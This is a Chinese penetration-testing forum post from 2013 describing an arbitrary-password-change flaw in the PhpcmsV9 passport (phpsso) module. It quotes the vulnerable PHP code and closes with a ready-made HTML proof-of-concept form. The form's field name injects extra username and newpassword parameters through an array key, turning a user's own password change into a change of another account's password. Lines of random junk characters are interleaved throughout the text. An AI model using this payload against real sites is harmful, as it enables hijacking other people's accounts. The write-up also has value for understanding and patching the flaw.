中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
" J9 t1 u* i& L f8 u& ^+ e7 j
* y1 M6 F1 j! o& L
8 ^% D$ W6 n H+ R9 z$ C2 n& r
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
) M; g, B$ U! ?$ ]" s
. E1 U8 _1 W1 s6 p: U% [
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
# ?2 R1 @9 u S, c
4 B h* e3 L# Q9 C1 I+ Q
我把它留给了你们。
& o0 {8 T5 S! u/ E" Y5 @+ V _
不知道你们发现了它没有。
3 p. o! Q5 r% d9 Y. @6 {, c
# e# ~# u+ J2 I* a. J( \9 ~7 \
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
& _# a* }1 U- i( f/ f
, _5 U9 w7 d! Z4 T
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ J' b$ m$ W& [) s
" }$ v* b7 o& s8 D
也就是
4 p3 v, ] Q# O' S; r7 m3 L9 C: C( V
) _0 A; Y& x5 O
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& _' }- ?7 [4 D
* C+ U! g- Q$ B# j3 i% J
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
+ V% z: [, F, L7 x, ?
) ]! ~) o5 w s
6 N B: G V, ?/ M/ l' W
其实我们有这样的机会,看看代码,如下:
2 D' M# p& c3 m3 x2 Z4 h
2 h8 }' R6 a' M" c7 o
9 D+ S1 \6 F( l% |; Z
public function auth_data($data) {
1 T) |# t/ ?' r H7 o ^) Z
$s = $sep = '';
l9 R& Q6 k H" n/ |1 d1 p& _
foreach($data as $k => $v) {
. v% C# q+ |' }3 ~" D1 I
if(is_array($v)) {
2 h, z }% ~9 z) u/ W1 s
$s2 = $sep2 = '';
/ E( E. {, t& e1 l+ q
foreach($v as $k2 => $v2) {
* t) I9 d% w: L* n
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$ W# u [# R7 B- X& e
$sep2 = '&';
. H6 {# f- V# |* P4 G" t
}
E$ _9 G! o9 Z7 s8 N
$s .= $sep.$s2;
' @" x8 Z) p+ j' S3 C+ ]
} else {
; [, y* |- W! G+ z3 Y
$s .= "$sep$k=".$this->_ps_stripslashes($v);
7 g9 v* w: Y/ v: J
}
5 j$ }) s0 D$ H' I7 x
$sep = '&';
% H5 _5 _% _9 E% T# u) P; N
}
2 t# O! ~4 ]8 c1 Z4 {3 s
/ l+ Y5 O1 ]) v; r) H
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
! r. [* [8 B" {! j# | F% y3 L
return $auth_s;
* y3 N: p0 M. T! ~9 v' G. e# C; a) H
}
6 I1 }8 I& b0 u; B$ z
! [4 G0 T3 [ z5 f$ e
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
2 ]3 j5 ~& l" [) b& n) H
" I# V0 f7 k- u2 G: m8 f3 N
举个例子
( t2 Z) _9 S# \3 {
3 x% S7 c& }4 Z1 s" X0 x
$a[aaa=a&bbb] = 'a';
5 ]7 _% A+ |' l& Y0 n+ O7 s
- b6 W' a% V9 L' d
会变成aaa=a&bbb=a
6 C# W% L: R7 t7 j& R& x( m
( ?% p$ Q$ m3 i; J0 ~9 S' |2 \, d
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
! j6 f( F) w) a. d4 V% H% a* S( U( |% @
0 B# H# \! e+ Y7 Q" U) M" r$ K! O
这个时候,我们可以再去看一个函数。
6 `" {7 V8 x8 u6 d8 q4 ]$ F
/ I- F5 r3 {% Z/ X: f U
就在这个文件内:
" Y+ P) G7 w s5 y# ~
2 C3 b @! B0 ?3 e" f# p
8 L+ P1 X: P# b9 \8 p/ n* U# x0 C
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
( }. o5 w; V, @! ^
if($email && !$this->_is_email($email)) {
3 n& Y( |$ v; Q# M
return -4;
f8 g" m* h4 k
}
2 t1 G6 v2 D- n7 q
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
" k( ^" k$ @& M1 D2 L% H; F2 t8 e
}
+ A- Q" O6 ^. J9 J' n
3 ?6 W5 z/ \9 @) E7 n. ?
这是向通行证发了这样一个请求。
9 z& G% g8 S: z9 n2 v! |1 {
* f+ }0 \6 W; L( @" f
我们再跟到通信证代码里去看看,就会有所发现。
' ?4 q9 q1 h; M8 ]) _) I6 k
8 }2 `/ V4 z* O/ N" ^- L0 i
. f) C. ^6 Q; ~! @8 p; V E9 U" \' v
public function edit() {
" B, I# [$ ? n% c* C$ m
//能省就省,太长了不是吗?
d) X* R# \. l( Y7 @! l* j
1 A0 D: J5 ]) y+ z
if($this->username) {
1 t( K2 V- Y( m+ m/ @1 W6 [
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
" h/ C) w+ Q7 x3 l
$res = $this->db->update($data, array('username'=>$this->username));
- }1 u' v* M+ G1 O' n$ F
} else {
' U. n! E4 E# ^: \2 H7 e, Q ?
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
3 ^. r1 K( e5 M) c: Z. b$ w; z
$res = $this->db->update($data, array('uid'=>$this->uid));
' m( W% N5 I& E- T, ~1 `
}
) ~* ~) E( R6 }% d# M" Y6 _$ U
* H* N+ q% P- ?4 g' t' [# d
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
6 z$ b/ p3 Q4 y6 @* n
/ F P* V: p" ^" r# y- r
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
" ?* Z" t6 v9 n) b+ ^" C6 i# r. T
0 g" N4 q3 `4 f) F" n8 @
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
6 j2 C/ e$ }, L$ W, j4 {. `
% h/ q, f& Q6 Y- J$ C; f
我当然找到了:
* l1 b: A8 n& y7 G" z: F
phpcms9/phpcms/modules/member/index.php
+ U/ k) _; Y! g* g- u$ P$ Q t& @+ y
2 Y+ _1 R0 N4 X. T
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
Z" L9 I! s7 O; ^. t3 `
9 b% v, ~& C P0 V |' i/ }! U8 X
然后就没有然后了。
3 l7 w. M- h3 B7 N, i( o( }
; y0 P9 f2 y( o) J
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
: F) I$ z" z/ B
<table width="100%" cellspacing="0" class="table_form">
8 o% B2 ]) k( A: Y2 ~
<tr>
: }& `5 H; _8 e$ [% E
<th width="80">邮箱:</th>
* a8 {% V' q$ j; M6 S& d I; x
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
5 b- t1 d5 j8 R% |8 F
</tr>
* O# H; h! m; H% G! Q! w
<tr>
4 b% _/ a2 U, }' Z6 F* r7 S
<th width="80">原密码:</th>
W8 r f/ ?' _
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
6 g) r+ S, K- N; d6 l
</tr>
/ h" c% V8 T Q( E8 x; ^7 R
<tr>
+ ^* |2 S5 e) v( S' ]7 y
<th>新密码:</th>
6 H1 C I+ W# T' w' t, F
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
* s) d) g. p! x3 v
</tr>
1 W, i# ~. q: [) U8 b& |7 A- x, x
<th></th>
+ ?& I; ]6 z0 b& e' X K
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
$ x/ b, ~# A1 H @
</tr>
# R" \8 f) `$ e" _% V2 l4 e
</table>
) i" J6 B$ t3 F' Z3 o9 \; x. ~
6 i( u* Z: P9 A+ _
# g8 H" e8 v( E1 Q( Z' E
</form>
- J) X* r# Q& ~' U8 O3 A
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2